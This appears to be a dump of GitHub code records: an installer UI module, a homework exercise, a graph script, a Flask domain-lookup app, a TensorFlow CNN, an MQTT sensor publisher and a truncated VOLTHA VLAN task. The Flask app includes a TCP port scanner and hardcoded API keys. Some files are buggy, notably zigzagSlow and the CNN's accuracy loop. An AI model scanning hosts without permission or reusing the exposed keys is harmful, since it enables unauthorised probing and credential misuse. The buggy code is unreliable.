signal.msg_fn\n        args = signal.args\n        ret_queue = signal.ret_queue\n\n        ret_queue.put(msg_fn(*args))\n\n    def _show_message_in_main_thread(self, msg_fn, args):\n        \"\"\" If running in the main thread, run the message dialog function and\n        return its return value. If running in a non-main thread, request the\n        message function to be called in the main thread.\n\n        :param msg_fn: message dialog function to be run\n        :type msg_fn: a function taking the same number of arguments as is the\n                      length of the args param\n        :param args: arguments to be passed to the message dialog function\n        :type args: any\n        \"\"\"\n\n        if thread_manager.in_main_thread():\n            # call the function directly\n            return msg_fn(*args)\n        else:\n            # create a queue for the result returned by the function\n            ret_queue = queue.Queue()\n\n            # request the function to be called in the main thread\n            self._send_show_message(msg_fn, args, ret_queue)\n\n            # wait and return the result from the queue\n            return ret_queue.get()\n\n    def showError(self, message):\n        \"\"\"Display an error dialog with the given message.\n\n        After this dialog is displayed, anaconda will quit. There is no return value.\n        This method must be implemented by all UserInterface subclasses.\n\n        In the code, this method should be used sparingly and only for\n        critical errors that anaconda cannot figure out how to recover from.\n        \"\"\"\n\n        return self._show_message_in_main_thread(self._showError, (message,))\n\n    def _showError(self, message):\n        \"\"\"Internal helper function that MUST BE CALLED FROM THE MAIN THREAD.\"\"\"\n\n        if flags.automatedInstall and not flags.ksprompt:\n            log.error(message)\n            # If we're in cmdline mode, just exit.\n            return\n\n        error_window = IpmiErrorDialog(message)\n        ScreenHandler.push_screen_modal(error_window)\n\n    def showDetailedError(self, message, details, buttons=None):\n        return self._show_message_in_main_thread(self._showDetailedError, (message, details))\n\n    def _showDetailedError(self, message, details):\n        \"\"\"Internal helper function that MUST BE CALLED FROM THE MAIN THREAD.\"\"\"\n        return self.showError(message + \"\\n\\n\" + details)\n\n    def showYesNoQuestion(self, message):\n        \"\"\"Display a dialog with the given message that presents the user a yes or no choice.\n\n        This method returns True if the yes choice is selected,\n        and False if the no choice is selected.  From here, anaconda can\n        figure out what to do next.  This method must be implemented by all\n        UserInterface subclasses.\n\n        In the code, this method should be used sparingly and only for those\n        times where anaconda cannot make a reasonable decision.  We don't\n        want to overwhelm the user with choices.\n\n        When cmdline mode is active, the default will be to answer no.\n        \"\"\"\n\n        return self._show_message_in_main_thread(self._showYesNoQuestion, (message,))\n\n    def _showYesNoQuestion(self, message):\n        \"\"\"Internal helper function that MUST BE CALLED FROM THE MAIN THREAD.\"\"\"\n\n        if flags.automatedInstall and not flags.ksprompt:\n            log.error(message)\n            # If we're in cmdline mode, just say no.\n            return False\n\n        question_window = YesNoDialog(message)\n        ScreenHandler.push_screen_modal(question_window)\n\n        return question_window.answer\n","repo_name":"rhinstaller/anaconda","sub_path":"pyanaconda/ui/tui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11617,"program_lang":"python","lang":"en","doc_type":"code","stars":494,"dataset":"github-code","pt":"35"}
{"seq_id":"33846519495","text":"def isZigzag(seq):\n    '''\n    >>> isZigzag([10, 5, 6, 3, 2, 20, 100, 80])\n    False\n    >>> isZigzag((10, 5, 6, 2, 20, 3, 100, 80))\n    True\n    >>> isZigzag([20, 5, 10, 2, 80, 6, 100, 3])\n    True\n    '''\n    total = len(seq)\n    for i in range(total-1):\n        n1 = seq[i]\n        n2 = seq[i+1]\n        if i%2 == 0:\n            if n1 < n2:\n                return False\n        if i%2 != 0:\n            if n1 > n2:\n                return False\n    else:\n        return True\n\ndef zigzagSlow(seq):\n    '''\n    >>> seq = [10, 90, 49, 2, 1, 5, 23]\n    >>> zigzagSlow(seq)\n    >>> seq\n    [2, 1, 10, 5, 49, 23, 90]\n    '''\n    newseq = []\n    seq = seq.sort()\n    length = len(seq)\n    for i in range(length//2):\n        i = i*2\n        n1 = new1seq[i]\n        n2 = new1seq[i+1]\n        newseq.append(n2)\n        newseq.append(n1)\n    if length % 2 != 0:\n        newseq.append(seq[-1])\n","repo_name":"isk02206/python","sub_path":"informatics/BA_1 2017-2018/series_6/Zigzag.py","file_name":"Zigzag.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73262943139","text":"import lib.snap as snap\nimport numpy\nnumpy.set_printoptions(threshold=numpy.nan)\n\ndef saveResults(graph, nameFile):\n\tsnap.PrintInfo(graph, \"Python type PUNGraph\", \"descriptions/\"+nameFile, False)\n\tresult_degree = snap.TIntV()\n\tsnap.GetDegSeqV(graph, result_degree)\n\n\tfile_object = open(\"descriptions/\"+nameFile,'a') \n\tdeg = numpy.array([], dtype=int)\n\tfile_object.write(\"\\n\")\n\tfile_object.write(\"Degree\\n\")\n\n\tfor i in range(0, result_degree.Len()):\n\t\tdeg = numpy.append(deg, result_degree[i])\n\t\t\t\n\tfile_object.write(numpy.array2string(deg, precision=8, separator=','))\n\tfile_object.close()\n\n\n\nRnd = snap.TRnd()\n###Scale Free\nArabidopsis=snap.LoadPajek(snap.PUNGraph, \"cerevisiae.net\")\nsaveResults(Arabidopsis, \"Cerevisiae\")\n\nCelengs=snap.LoadPajek(snap.PUNGraph, \"Celengs.net\")\nsaveResults(Celengs, \"Celengs\")\n\nArabidopsis=snap.LoadPajek(snap.PUNGraph, \"EColi.net\")\nsaveResults(Arabidopsis, \"EColi\")\n\n#Random\n\n#G2 = snap.GenPrefAttach(500, 50,Rnd)\n#snap.SaveEdgeList(G2, 'paperScaleFree500-499.txt')\n\n#G3 =snap.GenRndGnm(snap.PUNGraph, 449, 610)\n#snap.SaveEdgeList(G3, 'paperRandom449-610.txt')\n\n#UGraph = snap.GenPrefAttach(8000,1, Rnd)\n#print UGraph.GetNodes()\n#print UGraph.GetEdges()\n\n#result_degree = snap.TIntV()\n#snap.GetDegSeqV(UGraph, result_degree)\n#d = snap.GetBfsFullDiam(UGraph,1,False)\n\n#Nodes = snap.TIntFltH()\n#Edges = snap.TIntPrFltH()\n#snap.GetBetweennessCentr(UGraph, Nodes, Edges, 1.0)\n\n#for NI in UGraph.Nodes():\n    #CloseCentr = snap.GetClosenessCentr(UGraph, NI.GetId())\n    #print \"node: %d centrality: %f\" % (NI.GetId(), CloseCentr)\n    \n#snap.PrintInfo(UGraph, \"Python type PNGraph\", \"info-pngraph2.txt\", False)\n","repo_name":"cardel/tesisMaestria","sub_path":"implementacion/datos/RedesReales/Descriptions.py","file_name":"Descriptions.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34869583071","text":"from flask import Flask, render_template, request\nimport json\nimport ipinfo\nimport subprocess\nimport socket\nimport requests\n\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    # get userr ip\n    user_ip = request.remote_addr\n    # get user ip location\n    user_location = iplocation('217.218.8.250')\n    return render_template('index.html', ip=user_ip ,location=user_location['city'])\n\n# this is main api that return everything\n@app.route('/tools_check', methods=['GET', 'POST'])\ndef runtools():\n    data = request.get_json()\n    # exclude \" from string\n    domain = data['domain'].strip('\"')\n    tools = data['tools']\n    result = {}\n\n    if 'dns' in tools:\n        dnsrecords = dnscheck(domain)\n        result.update({'DNS':dnsrecords})\n\n    if 'whois' in tools:\n        whois_record = whois(domain)\n        result.update({'WHOIS': whois_record})\n\n    if 'port scan' in tools:\n        ports = portscan(domain)\n        result.update({'PORTS' : ports})\n        print('port scan runs.........')\n\n    if 'ip' in tools:\n        loc = iplocation(socket.gethostbyname(domain))\n        result.update({'IPLOC' : loc})\n\n    return json.dumps(result, indent=2)\n\n\n# Scan common ports for host\ndef portscan(host):\n    port_list = {80:\"HTTP\", 443:\"HTTPS\", 21:\"FTP\", 22:\"SSH\", 23:\"TELNET\", 25:\"SMTP\", 110:\"POP3\", 123:\"NTP\", 143:\"IMAP\", 2222:\"DIRECTADMIN\", 8443:\"PLESK-HTTPS\", 8880:\"PLESK\", 3306:\"MYSQL\", 1433:\"MICROSOFT-SQL\", 5432:\"POSTGRE-SQL\", 2083:\"CPANEL\"}\n    result = {}\n    for port in port_list:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(0.5)\n        conn = s.connect_ex((host,port))\n        if(conn == 0):\n            result.update({port:port_list.get(port)})\n        s.close\n    return result          \n\n\n\n\n# get ip Location wit ipinfo.io api\ndef iplocation(ip):\n    token = 'f1959802f790e3'\n    handler = ipinfo.getHandler(token)\n    answer = handler.getDetails(ip)\n    result = {\n        'ip' : answer.ip,\n        'country' : answer.country,\n        \"region\" : answer.region,\n        \"city\" : answer.city,\n        'timezone' : answer.timezone\n    }\n    return result\n\n\n\n\n\ndef whois(domain):\n    req = requests.get(f\"https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=at_mHEbeZYigz4NO4pjtlEyPGKTJOB20&domainName={domain}&outputFormat=JSON\")\n    answer = req.json()\n    # check domian for ir or not \n    if('ir' in domain):\n        domain = answer['WhoisRecord']['domainName']\n        owner = answer['WhoisRecord']['registryData']['technicalContact']['name']\n        org = answer['WhoisRecord']['registryData']['administrativeContact']['organization']\n        email = answer['WhoisRecord']['registryData']['technicalContact']['email']\n        city = answer['WhoisRecord']['registryData']['administrativeContact']['city']\n        ns = answer['WhoisRecord']['registryData']['nameServers']['hostNames']\n        phone = answer['WhoisRecord']['registryData']['administrativeContact']['telephone']\n        update_date = answer['WhoisRecord']['registryData']['updatedDate']\n        expire_date = answer['WhoisRecord']['registryData']['expiresDate']\n    else:\n        domain = answer['WhoisRecord']['registryData']['domainName']\n        owner = answer['WhoisRecord']['technicalContact']['name']\n        org = answer['WhoisRecord']['administrativeContact']['organization']\n        email = answer['WhoisRecord']['technicalContact']['email']\n        city = answer['WhoisRecord']['administrativeContact']['city']\n        ns = answer['WhoisRecord']['nameServers']['hostNames']\n        phone = answer['WhoisRecord']['administrativeContact']['telephone']\n        update_date = answer['WhoisRecord']['updatedDate']\n        expire_date = answer['WhoisRecord']['expiresDate']\n    result = {\n        'domain' : domain,\n        'owner' : owner,\n        'org' : org,\n        'email' : email,\n        'city' : city,\n        'ns' : ns,\n        'phone' : phone,\n        'update' : update_date,\n        'expire' : expire_date\n\n    }\n    return result\n\n\n\n\n\n# get domain dns record\ndef dnscheck(domain):\n    # terminal command\n    cmd = 'nslookup'\n    # command switch's\n    swch = '-type='\n    record = ['NS', 'MX', 'A', 'SOA']\n    result = {}\n    for r in range(len(record)):\n        answer = subprocess.Popen([cmd, swch+record[r], domain], bufsize=1, universal_newlines=True, stdout=subprocess.PIPE)\n        temp = answer.stdout.readlines()\n        # cut the \\n and \\t from text and show line 4 to end \n        output = [x.replace('\\t','').replace('\\n','') for x in temp[4:]]\n\n        result.update({ record[r]: output})\n    return result\n\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n","repo_name":"tcpzix/hosting_tools","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36310287922","text":"import tensorflow as tf\nfrom tools import loadData\nfrom tensorflow.keras import Sequential, layers, optimizers\n\nmodel_layers = [  # five unit layers\n    # the first unit (tow conv and one pool)\n    layers.Conv2D(64, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.Conv2D(64, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='SAME'),\n\n    # the second unit\n    layers.Conv2D(128, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.Conv2D(128, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='SAME'),\n\n    # the third unit\n    layers.Conv2D(256, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.Conv2D(256, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='SAME'),\n\n    # the forth unit\n    layers.Conv2D(512, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.Conv2D(512, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='SAME'),\n\n    # the fifth unit\n    layers.Conv2D(512, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.Conv2D(512, kernel_size=[3, 3], padding=\"same\", activation=tf.nn.relu),\n    layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='SAME'),\n\n    layers.Flatten(),\n    layers.Dense(256, activation='relu'),\n    layers.Dense(128, activation='relu'),\n    layers.Dense(10, activation='relu'),\n]\n\n\ndef run():\n    dataset = loadData.DataSets()\n\n    network = Sequential(model_layers)\n    network.build(input_shape=[None, 32, 32, 3])\n    optimizer = optimizers.Adam(1e-4)\n\n    train_data, val_data, test_data = dataset.load_tensorflow_data('cifar10', batch_size=128, classes=10)\n    simple = next(iter(train_data))\n    print(simple[0].shape, simple[1].shape)\n\n    for epoch in range(10):\n        for step, (x, y) in enumerate(train_data):\n            with tf.GradientTape() as tape:\n                y = tf.one_hot(y, depth=10)\n                out = network(x)\n                loss = tf.losses.categorical_crossentropy(y, out, from_logits=True)\n                loss = tf.reduce_mean(loss)\n\n            grads = tape.gradient(loss, network.trainable_variables)\n            optimizer.apply_gradients(zip(grads, network.trainable_variables))\n\n            if step % 100 == 0:\n                print(step, \"loss\", loss)\n\n        correct, total = 0, 0\n        for step, (x, y) in enumerate(val_data):\n            out = network(x)\n            # (b,10) to (b,)\n            pre = tf.argmax(out, axis=-1)\n            pre = tf.cast(pre, dtype=tf.int64)\n            y = tf.cast(y, dtype=tf.int64)\n            correct = float(tf.reduce_sum(tf.cast(tf.equal(y, pre), dtype=tf.float32)))\n            total += x.shape[0]\n\n        print(\"val acc:{}\".format(correct / total))\n\n    # network = Sequential(model_layers)\n    # network.build(input_shape=[None, 32, 32, 3])\n    # network.summary()\n    #\n    # classes = np.array(['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck'])\n    # train_data, val_data, test_data = loadData.cifar10_data(32)\n    #\n    # network.compile(optimizer=optimizers.Adam(lr=0.1),\n    #                 loss=tf.losses.CategoricalCrossentropy(from_logits=True),\n    #                 metrics=['accuracy'])\n    #\n    # network.fit(train_data, epochs=5, validation_data=val_data, validation_freq=1)\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"Lvwenchao/Tensorflow","sub_path":"DeepLearn/cnn_classfication/cifar100_conv2D_classfication.py","file_name":"cifar100_conv2D_classfication.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23144128651","text":"import time\nimport json\nimport serial\nimport paho.mqtt.client as mqtt\n\nser = serial.Serial('/dev/ttyACM0', 9600)\n\ndistance = 0\nmotion_sensor = 100\nobject_ = '-'\ndoor_status = '-'\n\n# AWS IoT Core endpoint and port\nbroker_endpoint = \"a178yz47tyasj-ats.iot.ap-southeast-2.amazonaws.com\"\nbroker_port = 8883\n\n# Paths to your AWS IoT certificates and private key\ncert_file = \"./ccee8cd1cb4938254e51b688df5eab18e0580add04aa0706382a59b7ecb4fa91-certificate.pem.crt\"\nprivate_key_file = \"./ccee8cd1cb4938254e51b688df5eab18e0580add04aa0706382a59b7ecb4fa91-private.pem.key\"\nca_cert_file = \"./AmazonRootCA1.pem\"\n\n# MQTT topic to publish to\ntopic = \"mqtt-data\"\n\n# Callback function for MQTT connection\ndef on_connect(client, userdata, flags, rc):\n    print(\"Connected to AWS IoT\")\n    client.subscribe(topic)\n\n# Callback function for MQTT publish\ndef on_publish(client, userdata, mid):\n    print(\"Message published\")\n\n# Create MQTT client instance\nclient = mqtt.Client()\n\n# Set MQTT client parameters\nclient.tls_set(ca_certs=ca_cert_file, certfile=cert_file, keyfile=private_key_file)\nclient.on_connect = on_connect\nclient.on_publish = on_publish\n\n# Connect to the MQTT broker\nclient.connect(broker_endpoint, broker_port, keepalive=60)\n\n# Wait for MQTT connection to be established\nclient.loop_start()\nwhile not client.is_connected:\n    time.sleep(1)\n\nwhile True:\n    res = ser.readline().decode().strip()\n    if res > '1' and len(res) <= 4:\n            distance = res\n    elif res == '1' or res == '0':\n        motion_sensor = int(res)\n    elif len(res) < 6:\n        door_status = res\n    else:\n        object_ = res\n    # Publish messages\n    message = {\"distance\": distance, \"pir-sensor\": motion_sensor}\n    client.publish(topic, json.dumps(message), qos=1)\n\n# Disconnect from the MQTT broker\nclient.loop_stop()\nclient.disconnect()\n","repo_name":"ramishbk647/IoT-Home-Automation-System","sub_path":"Smart Door/Raspberry Pi (Edge)/AWS.py","file_name":"AWS.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42650020740","text":"from __future__ import absolute_import\nimport structlog\nfrom pyvoltha.adapters.extensions.omci.tasks.task import Task\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import inlineCallbacks, failure, returnValue\nfrom pyvoltha.adapters.extensions.omci.omci_defs import ReasonCodes, EntityOperations\nfrom pyvoltha.adapters.extensions.omci.omci_entities import VlanTaggingFilterData\nfrom pyvoltha.adapters.extensions.omci.omci_me import \\\n    VlanTaggingOperation, VlanTaggingFilterDataFrame, ExtendedVlanTaggingOperationConfigurationDataFrame, \\\n    ExtendedVlanTaggingOperationConfigurationData\nfrom uni_port import UniType\nfrom uni_port import RESERVED_TRANSPARENT_VLAN\nfrom pon_port import DEFAULT_TPID\n\nRC = ReasonCodes\nOP = EntityOperations\n\n\nclass BrcmVlanFilterException(Exception):\n    pass\n\n\nclass BrcmVlanFilterTask(Task):\n    \"\"\"\n    Apply Vlan Tagging Filter Data and Extended VLAN Tagging Operation Configuration on an ANI and UNI\n    \"\"\"\n    task_priority = 200\n    name = \"Broadcom VLAN Filter/Tagging Task\"\n\n    def __init__(self, omci_agent, handler, uni_port, set_vlan_id,\n                 match_vlan=0, set_vlan_pcp=8, add_tag=True,\n                 priority=task_priority, tp_id=0):\n        \"\"\"\n        Class initialization\n\n        :param omci_agent: (OmciAdapterAgent) OMCI Adapter agent\n        :param handler: (BrcmOpenomciOnuHandler) ONU Device Handler Instance\n        :param uni_port: (UniPort) Object instance representing the uni port and its settings\n        :param set_vlan_id: (int) VLAN to filter for and set\n        :param add_tag: (bool) Flag to identify VLAN Tagging or Untagging\n        :param tp_id: (int) TP ID for the flow\n        :param priority: (int) OpenOMCI Task priority (0..255) 255 is the highest\n        \"\"\"\n        super(BrcmVlanFilterTask, self).__init__(BrcmVlanFilterTask.name,\n                                                 omci_agent,\n                                                 handler.device_id,\n                                                 priority=priority,\n                                                 exclusive=True)\n\n        self.log = structlog.get_logger(device_id=handler.device_id,\n                                        name=BrcmVlanFilterTask.name,\n                                        task_id=self._task_id,\n                                        entity_id=uni_port.entity_id,\n                                        uni_id=uni_port.uni_id,\n                                        uni_port=uni_port.port_number,\n                                        set_vlan_id=set_vlan_id)\n\n        self._onu_handler = handler\n        self._device = omci_agent.get_device(handler.device_id)\n        self._uni_port = uni_port\n        self._set_vlan_id = set_vlan_id\n\n        # If not setting any pbit, copy the pbit from the received vlan tag\n        if set_vlan_pcp is None:\n            self._set_vlan_pcp = 8  # Copy from the inner priority of the received frame\n        else:\n            self._set_vlan_pcp = set_vlan_pcp\n\n        # If not matching on any vlan do not filter for vlan value.  effectively match on untagged\n        if match_vlan is None:\n            self._match_vlan = RESERVED_TRANSPARENT_VLAN  # Do not filter on the VID\n        else:\n            self._match_vlan = match_vlan\n\n        self._vlan_pcp = 8  # Do not filter on priority\n\n        # If the tag is not transparent then need to remove it.\n        self._treatment_tags_to_remove = 1\n        if self._match_vlan == RESERVED_TRANSPARENT_VLAN:  # Do not filter on the VID\n            self._vlan_pcp = 15  # This entry is a no-tag rule; ignore all other VLAN tag filter fields\n            self._treatment_tags_to_remove = 0\n\n        # If matching on untagged and trying to copy pbit from non-existent received vlan, set pbit to zero\n        if self._match_vlan == RESERVED_TRANSPARENT_VLAN and self._set_vlan_pcp == 8:\n            self._set_vlan_pcp = 0\n\n        self._add_tag = add_tag\n        self._tp_id = tp_id\n        self._results = None\n        self._local_deferred = None\n        self._config = self._device.configuration\n        self._input_tpid = DEFAULT_TPID\n        self._output_tpid = DEFAULT_TPID\n\n        self._mac_bridge_service_profile_entity_id = \\\n            handler.mac_bridge_service_profile_entity_id\n        self._ieee_mapper_service_profile_entity_id = \\\n            handler.pon_port.ieee_mapper_service_profile_entity_id\n        self._mac_bridge_port_ani_entity_id = \\\n            handler.pon_port.mac_bridge_port_ani_entity_id\n        self._gal_enet_profile_entity_id = \\\n            handler.gal_enet_profile_entity_id\n\n    def cancel_deferred(self):\n        super(BrcmVlanFilterTask, self).cancel_deferred()\n\n        d, self._local_deferred = self._local_deferred, None\n        try:\n            if d is not None and not d.called:\n                d.cancel()\n        except:\n            pass\n\n    def start(self):\n        \"\"\"\n        Start Vlan Tagging Task\n        \"\"\"\n        super(BrcmVlanFilterTask, self).start()\n        self._local_deferred = reactor.callLater(0, self.perform_vlan_tagging)\n\n    @inlineCallbacks\n    def perform_vlan_tagging(self):\n        \"\"\"\n        Perform the vlan tagging\n        \"\"\"\n        self.log.debug('vlan-filter-tagging-task', uni_port=self._uni_port, set_vlan_id=self._set_vlan_id,\n                       set_vlan_pcp=self._set_vlan_pcp, match_vlan=self._match_vlan, tp_id=self._tp_id,\n                       add_tag=self._add_tag)\n        try:\n            if self._add_tag:\n                if not self._onu_handler.args.accept_incremental_evto_update:\n                    yield self._bulk_update_evto_and_vlan_tag_filter()\n                else:\n                    yield self._incremental_update_evto_and_vlan_tag_filter()\n            else:  # addTag = False\n                if self._onu_handler.args.accept_incremental_evto_update:\n                    self.log.info('removing-vlan-tagging')\n                    yield self._delete_service_flow()\n                    yield self._delete_vlan_filter_entity()\n                else:\n                    # Will be reset anyway on new vlan tagging operation\n                    self.log.info(\"not-removing-vlan-tagging\")\n            self.deferred.callback(self)\n        except Exception as e:\n            self.log.exception('setting-vlan-tagging', e=e)\n            self.deferred.errback(failure.Failure(e))\n\n    def check_status_and_state(self, results, operation=''):\n        \"\"\"\n        Check the results of an OMCI response.  An exception is thrown\n        if the task was cancelled or an error was detected.\n\n        :param results: (OmciFrame) OMCI Response frame\n        :param operation: (str) what operation was being performed\n        :return: True if successful, False if the entity existed (already created)\n        \"\"\"\n\n        omci_msg = results.fields['omci_message'].fields\n        status = omci_msg['success_code']\n        error_mask = omci_msg.get('parameter_error_attributes_mask', 'n/a')\n        failed_mask = omci_msg.get('failed_attributes_mask', 'n/a')\n        unsupported_mask = omci_msg.get('unsupported_attributes_mask', 'n/a')\n\n        self.log.debug(\"OMCI Result\", operation=operation, omci_msg=omci_msg,\n                       status=status, error_mask=error_mask,\n                       failed_mask=failed_mask, unsupported_mask=unsupported_mask)\n\n        if status == RC.Success:\n            self.strobe_watchdog()\n            return True\n\n        elif status == RC.InstanceExists:\n            return False\n\n    @inlineCallbacks\n    def _delete_service_flow(self):\n        extended_vlan_tagging_entity_id = self._mac_bridge_service_profile_entity_id + \\\n                                          self._uni_port.mac_bridge_port_num\n\n        # See G.988 regarding evto row deletes for \"default\" flows:\n        #\n        # As an exception to the rule on ordered processing, these default rules are always\n        # considered as a last resort for frames that do not match any other rule. Best\n        # practice dictates that these entries not be deleted by the OLT; however, they\n        # can be modified to produce the desired default behaviour.\n        #\n        # 15, 4096, x, 15, 4096, x, 0, (0, 15, x, x, 15, x, x) – no tags\n        # 15, 4096, x, 14, 4096, x, 0, (0, 15, x, x, 15, x, x) – 1 tag\n        # 14, 4096, x, 14, 4096, x, 0, (0, 15, x, x, 15, x, x) – 2 tags\n\n        # outer_prio is 15, outer vid is 4096  inner prio is 15, inner vid is 4096\n        # its a default rule... dont delete it.\n        if self._match_vlan == RESERVED_TRANSPARENT_VLAN and self._vlan_pcp == 15:\n            self.log.warn(\"should-not-delete-onu-builtin-no-tag-flow\")\n            return\n\n        # outer_prio is 15, outer vid is 4096  inner prio is 14, inner vid is 4096\n        # its a default rule... dont delete it.\n        if self._match_vlan == RESERVED_TRANSPARENT_VLAN and self._vlan_pcp == 14:\n            self.log.warn(\"should-not-delete-onu-builtin-single-tag-flow\")\n            return\n\n        entry = VlanTaggingOperation(\n            filter_outer_priority=15,\n            filter_outer_vid=4096,\n            filter_outer_tpid_de=0,\n\n            filter_inner_priority=self._vlan_pcp,\n            filter_inner_vid=self._match_vlan,\n            filter_inner_tpid_de=0,\n            filter_ether_type=0\n        )\n        # delete this entry using the filter rules as the key.\n        # this function automatically fills 0xFF in the last 8 treatment bytes\n        entry = entry.delete()\n        attributes = dict(received_frame_vlan_tagging_operation_table=entry)\n\n        msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n            extended_vlan_tagging_entity_id,  # Bridge Entity ID\n            attributes=attributes  # See above\n        )\n        frame = msg.set()\n        self.log.debug('openomci-msg', omci_msg=msg)\n        results = yield self._device.omci_cc.send(frame)\n        self.check_status_and_state(results, 'delete-service-flow')\n\n    @inlineCallbacks\n    def _delete_vlan_filter_entity(self):\n        vlan_tagging_entity_id = int(self._mac_bridge_port_ani_entity_id + self._uni_port.entity_id\n                                     + self._tp_id)\n        self.log.debug(\"Vlan tagging filter data frame will be deleted.\",\n                       expected_me_id=vlan_tagging_entity_id)\n        msg = VlanTaggingFilterDataFrame(vlan_tagging_entity_id)\n        frame = msg.delete()\n        self.log.debug('openomci-msg', omci_msg=msg)\n        results = yield self._device.omci_cc.send(frame)\n        self.check_status_and_state(results, 'flow-delete-vlan-tagging-filter-data')\n\n    @inlineCallbacks\n    def _create_vlan_filter_entity(self, vlan_tagging_entity_id):\n\n        self.log.debug(\"Vlan tagging filter data frame will be created.\",\n                       expected_me_id=vlan_tagging_entity_id)\n        vlan_tagging_me = self._device.query_mib(VlanTaggingFilterData.class_id,\n                                                 instance_id=int(vlan_tagging_entity_id))\n        if len(vlan_tagging_me) == 0:\n            forward_operation = 0x10  # VID investigation\n            self.log.debug(\"vlan id isn't reserved\")\n            self.log.debug(\"forward_operation\", forward_operation=forward_operation)\n            self.log.debug(\"set_vlan_id\", vlan_id=self._set_vlan_id)\n            # When the PUSH VLAN is RESERVED_VLAN (4095), let ONU be transparent\n            if self._set_vlan_id == RESERVED_TRANSPARENT_VLAN:\n                forward_operation = 0x00  # no investigation, ONU transparent\n\n            # Create bridge ani side vlan filter\n            msg = VlanTaggingFilterDataFrame(\n                int(vlan_tagging_entity_id),  # Entity ID\n                vlan_tcis=[self._set_vlan_id],  # VLAN IDs\n                forward_operation=forward_operation\n            )\n\n            self.log.debug(\"created vlan tagging data frame msg\")\n            frame = msg.create()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'create-vlan-tagging-filter-data')\n\n    @inlineCallbacks\n    def _reset_evto_and_vlan_tag_filter(self):\n        self.log.info(\"resetting-evto-and-vlan-tag-filter\")\n        # Delete bridge ani side vlan filter\n        eid = self._mac_bridge_port_ani_entity_id + self._uni_port.entity_id + self._tp_id  # Entity ID\n        msg = VlanTaggingFilterDataFrame(eid)\n        frame = msg.delete()\n        self.log.debug('openomci-msg', omci_msg=msg)\n        self.strobe_watchdog()\n        results = yield self._device.omci_cc.send(frame)\n        self.check_status_and_state(results, 'flow-delete-vlan-tagging-filter-data')\n\n        ################################################################################\n        # Create Extended VLAN Tagging Operation config (UNI-side)\n        #\n        #  EntityID relates to the VLAN TCIS later used int vlan filter task.  This only\n        #  sets up the inital MIB entry as it relates to port config, it does not set vlan\n        #  that is saved for the vlan filter task\n        #\n        #  References:\n        #            - PPTP Ethernet or VEIP UNI\n        #\n\n        # Delete uni side evto\n        msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n            self._mac_bridge_service_profile_entity_id + self._uni_port.mac_bridge_port_num,\n        )\n        frame = msg.delete()\n        self.log.debug('openomci-msg', omci_msg=msg)\n        results = yield self._device.omci_cc.send(frame)\n        self.check_status_and_state(results, 'delete-extended-vlan-tagging-operation-configuration-data')\n\n        # Re-Create uni side evto\n        # default to PPTP\n        association_type = 2\n        if self._uni_port.type.value == UniType.VEIP.value:\n            association_type = 10\n        elif self._uni_port.type.value == UniType.PPTP.value:\n            association_type = 2\n\n        attributes = dict(\n            association_type=association_type,  # Assoc Type, PPTP/VEIP Ethernet UNI\n            associated_me_pointer=self._uni_port.entity_id,  # Assoc ME, PPTP/VEIP Entity Id\n\n            # See VOL-1311 - Need to set table during create to avoid exception\n            # trying to read back table during post-create-read-missing-attributes\n            # But, because this is a R/W attribute. Some ONU may not accept the\n            # value during create. It is repeated again in a set below.\n            input_tpid=self._input_tpid,  # input TPID\n            output_tpid=self._output_tpid,  # output TPID\n        )\n\n        msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n            self._mac_bridge_service_profile_entity_id + self._uni_port.mac_bridge_port_num,  # Bridge Entity ID\n            attributes=attributes\n        )\n\n        frame = msg.create()\n        self.log.debug('openomci-msg', omci_msg=msg)\n        results = yield self._device.omci_cc.send(frame)\n        self.check_status_and_state(results, 'create-extended-vlan-tagging-operation-configuration-data')\n\n    @inlineCallbacks\n    def _incremental_update_evto_and_vlan_tag_filter(self):\n        self.log.info(\"incremental-update-evto-and-vlan-tag-filter\")\n        vlan_tagging_entity_id = int(self._mac_bridge_port_ani_entity_id + self._uni_port.entity_id\n                                     + self._tp_id)\n        extended_vlan_tagging_entity_id = self._mac_bridge_service_profile_entity_id + \\\n                                          self._uni_port.mac_bridge_port_num\n        ################################################################################\n        # VLAN Tagging Filter config\n        #\n        #  EntityID will be referenced by:\n        #           